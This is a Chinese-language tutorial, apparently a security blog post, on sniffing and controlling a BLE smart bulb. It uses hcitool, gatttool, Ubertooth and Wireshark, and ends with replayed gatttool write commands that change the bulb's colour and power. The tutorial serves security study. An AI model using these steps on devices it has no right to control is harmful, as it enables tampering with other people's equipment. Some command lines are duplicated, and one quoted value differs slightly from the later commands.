基于BLE的IoT智能燈泡的安全漏洞利用
前言
目前物聯(lián)網(wǎng)和智能設(shè)備已經(jīng)日益普及,并且當(dāng)我們談?wù)撐锫?lián)網(wǎng)時(shí),首先想到的往往是智能家居。智能家居通常涉及各種設(shè)備,包括智能冰箱、智能燈泡、電源適配器、水壺、烤面包機(jī)、蛋盤(pán),等等。
在這篇文章中,我們將討論如何接管基于BLE的IoT智能燈泡,與之進(jìn)行交互,改變顏色,并在這個(gè)過(guò)程中考察BLE的安全機(jī)制。
在這篇文章中,我們將要向讀者介紹的主題包括:
- 使用Ubertooth嗅探BLE
- 主動(dòng)嗅探流量
- 修改BLE的處理程序和特征值
- 控制設(shè)備
為了順利閱讀本文,您需要做好以下準(zhǔn)備:
- 硬件
- 筆記本電腦
- Ubertooth
- 軟件
- hcitool
- ubertooth-utils
- Gatttool
基于BLE的IoT智能燈泡的漏洞利用
將燈泡連接到電源。然后,試著使用智能手機(jī)來(lái)打開(kāi)和關(guān)閉燈泡,以確保它工作正常。接下來(lái),我們首先要做的是找到目標(biāo)設(shè)備的藍(lán)牙地址。
第1步:我們使用hcitool查找主機(jī)附近存在的所有可用的BLE設(shè)備。
- hcitool lescan
在上圖中,我們能夠看到自己周?chē)亩鄠€(gè)設(shè)備的藍(lán)牙地址。通過(guò)檢查后發(fā)現(xiàn),我們的燈泡的藍(lán)牙地址看起來(lái)像是88:C2:55:CA:E9:4A,該設(shè)備的藍(lán)牙名稱(chēng)是cnligh。
第2步:現(xiàn)在,我們已經(jīng)知道了目標(biāo)設(shè)備的BD_ADDR(藍(lán)牙地址),接下來(lái)就可以使用gatttool來(lái)查看目標(biāo)設(shè)備中運(yùn)行的各種服務(wù)了。使用gatttool -I切換到交互模式,然后通過(guò)給定的BD_ADDR連接到目標(biāo)設(shè)備。
- gatttool -I
- connect 88:C2:55:CA:E9:4A
- primary
在上圖中,有三個(gè)主要的服務(wù)在運(yùn)行,對(duì)應(yīng)于三個(gè)UUID。其中,00001800和00001801是Bluetooth SIG定義的服務(wù),而UUID 0000f371則并非由藍(lán)牙SIG定義的服務(wù)。
第3步:現(xiàn)在我們可以使用char-desc列出特定UUID(0000f371)中的所有句柄。最好指定attr和end group句柄,就本例而言為0x0010 0xffff
- char-desc 0x0010 0xffff
在上圖中,我們給出了特定的UUID 0xffff的句柄列表。
通過(guò)觀察,我們發(fā)現(xiàn)服務(wù)0xfff1到0xfff9是由制造商定義的,其他的則是由藍(lán)牙技術(shù)聯(lián)盟采用的服務(wù),如主要服務(wù)、特征、特征用戶描述。如果您想進(jìn)一步了解服務(wù)及其具體的UUID值的話,請(qǐng)參考https://www.bluetooth.com/specifications/gatt/services 。
第4步:這里有很多句柄同時(shí)我們不知道可以向哪些句柄寫(xiě)數(shù)據(jù),所以我們嘗試用句柄值來(lái)讀取句柄
- char-read-hnd 0x0012
當(dāng)我們嘗試讀取句柄時(shí),會(huì)收到如上圖所示的錯(cuò)誤信息。當(dāng)然,這里有點(diǎn)難度,因?yàn)槲覀儾恢滥男┚浔梢宰x取/寫(xiě)入數(shù)據(jù),甚至連數(shù)據(jù)包的格式都不知道。
為了了解數(shù)據(jù)包格式和句柄,我們可以嗅探BLE數(shù)據(jù)包。這方面,Ubertooth是一種有效的工具,可用于BLE流量的主動(dòng)嗅探。
第5步:利用ubertooth-btle嗅探BLE數(shù)據(jù)包。為此,我們可以直接使用ubertooth-btle -f命令。如果您有多個(gè)設(shè)備,可以使用ubertooth-btle -f -t
- ubertooth-btle -f -t88:C2:55:CA:E9:4A
第6步:為了捕獲數(shù)據(jù)包,可以使用以下命令
- ubertooth-btle -f -t88:C2:55:CA:E9:4A -c smartbulb_dump.pcap
-c用于捕獲由文件名指定的pcap中的數(shù)據(jù)包。
現(xiàn)在打開(kāi)您的燈泡手機(jī)應(yīng)用程序并連接燈泡。連接成功后,請(qǐng)執(zhí)行一個(gè)動(dòng)作,如改變燈泡的顏色,ubertooth將捕獲所有的數(shù)據(jù)包。
上圖展示的是燈泡的廣告包,并且需要注意以下幾點(diǎn)
- 訪問(wèn)地址(AA)為0x8e89bed6,用于管理鏈路層,它是一個(gè)隨機(jī)數(shù)。
- 它是37頻道,專(zhuān)們用于廣告的頻道之一。
- 數(shù)據(jù)包PDU是ADV_IND,意味著它是可連接的,單向的和可掃描的。
- AdvA id是88:c2:55:ca:e9:4a,這只是廣告設(shè)備的BD_ADDR
- Type 01標(biāo)志表示AdvA地址是隨機(jī)的。
如果仔細(xì)觀察上圖,我們將注意到這里有兩個(gè)值——來(lái)自目標(biāo)設(shè)備的掃描響應(yīng)(SCAN_RSP)和來(lái)自應(yīng)用程序的掃描請(qǐng)求(SCAN_REQ)
SCAN_REQ
- ScanA是一個(gè)6字節(jié)的掃描地址,TxAdd指示它是隨機(jī)值還是公共地址
- AdvA是一個(gè)6字節(jié)的廣告地址,PDU中的RxAdd表示地址是公共的還是隨機(jī)的
SCAN_RES
- AdvA是一個(gè)6字節(jié)的廣告地址,TxAdd表示地址的類(lèi)型,是隨機(jī)的還是公開(kāi)的
- ScanRspData是來(lái)自廣告客戶的可選廣告數(shù)據(jù)
Connec_REQ
下圖展示的是嗅探到的數(shù)據(jù)
第7步:下面使用wireshark分析捕獲的數(shù)據(jù)包,首先啟動(dòng)wirehark,然后打開(kāi)捕獲的pcap文件。
這時(shí),它將顯示所有捕獲的數(shù)據(jù)包。
第8步:現(xiàn)在我們需要在這些捕獲的數(shù)據(jù)包中查找ATT數(shù)據(jù)包。其中,最簡(jiǎn)單的方法就是使用wireshark中的過(guò)濾器選項(xiàng),即鍵入btl2cap.cid == 0x004
如果我們觀察上圖,會(huì)發(fā)現(xiàn)這里只有ATT數(shù)據(jù)包和數(shù)據(jù)包方面的信息。
第9步:這里,我們?cè)诟淖儫襞莸念伾耐瑫r(shí)已經(jīng)捕獲了數(shù)據(jù)包,所以讓我們來(lái)研究一下寫(xiě)請(qǐng)求數(shù)據(jù)包。
現(xiàn)在我們知道數(shù)據(jù)將被寫(xiě)入句柄0x0012,該句柄屬于我們需要弄清楚的某個(gè)UUID。
第10步:如果我們分析特定的寫(xiě)請(qǐng)求包,我們可以發(fā)現(xiàn)相應(yīng)的訪問(wèn)地址、CRC值、操作碼、句柄和UUID
在上圖中我們可以看到
- 訪問(wèn)地址:0xaf9a9515
- 主從地址
- CRC:0x6dcb5
- 句柄:0x0012
- UUID:0xfff1
- 值:03c90006000a03000101000024ff000000006
- 報(bào)頭長(zhǎng)度為2字節(jié),它緊隨PDU之后
- 模式選擇是硬編碼的,用于控制燈的顏色
- 0024ff是RGB值,如果改變這6個(gè)字節(jié)的內(nèi)容,就可以獲得所需的顏色
第11步:我們可以使用gatttool將值寫(xiě)入特定句柄或UUID,
- char-write-req 0x0012 03c90006000a03000101000024ff00000000 //bluish green
- char-write-req 0x0012 03c90006000a0300010100ff000000000000 // Red
- char-write-req 0x0012 03c90006000a030001010000ff0000000000 //Green
- char-write-req 0x0012 03c90006000a03000101000000ff00000000 // Blue
- char-write-req 0x0012 03c90006000a03000101000024ff00000000 //bluish green
- char-write-req 0x0012 03c90006000a0300010100ff000000000000 // Red
- char-write-req 0x0012 03c90006000a030001010000ff0000000000 //Green
- char-write-req 0x0012 03c90006000a03000101000000ff00000000 // Blue
第12步:若要打開(kāi)和關(guān)閉燈泡,可以更改數(shù)據(jù)中的開(kāi)/關(guān)位
- char-write-req 0x0012 03c90006000a030101010000000000000000 //Off
- char-write-req 0x0012 03c90006000a0300010100ff000000000000 //On
- char-write-req 0x0012 03c90006000a030101010000000000000000 //Off
- char-write-req 0x0012 03c90006000a0300010100ff000000000000 //On
03c90006000a030101010000000000000000將關(guān)閉燈泡,RGB值應(yīng)為零,否則燈泡不會(huì)關(guān)閉
03c90006000a0300010100ff0000000000000將打開(kāi)燈泡,這里RGB值是強(qiáng)制性的。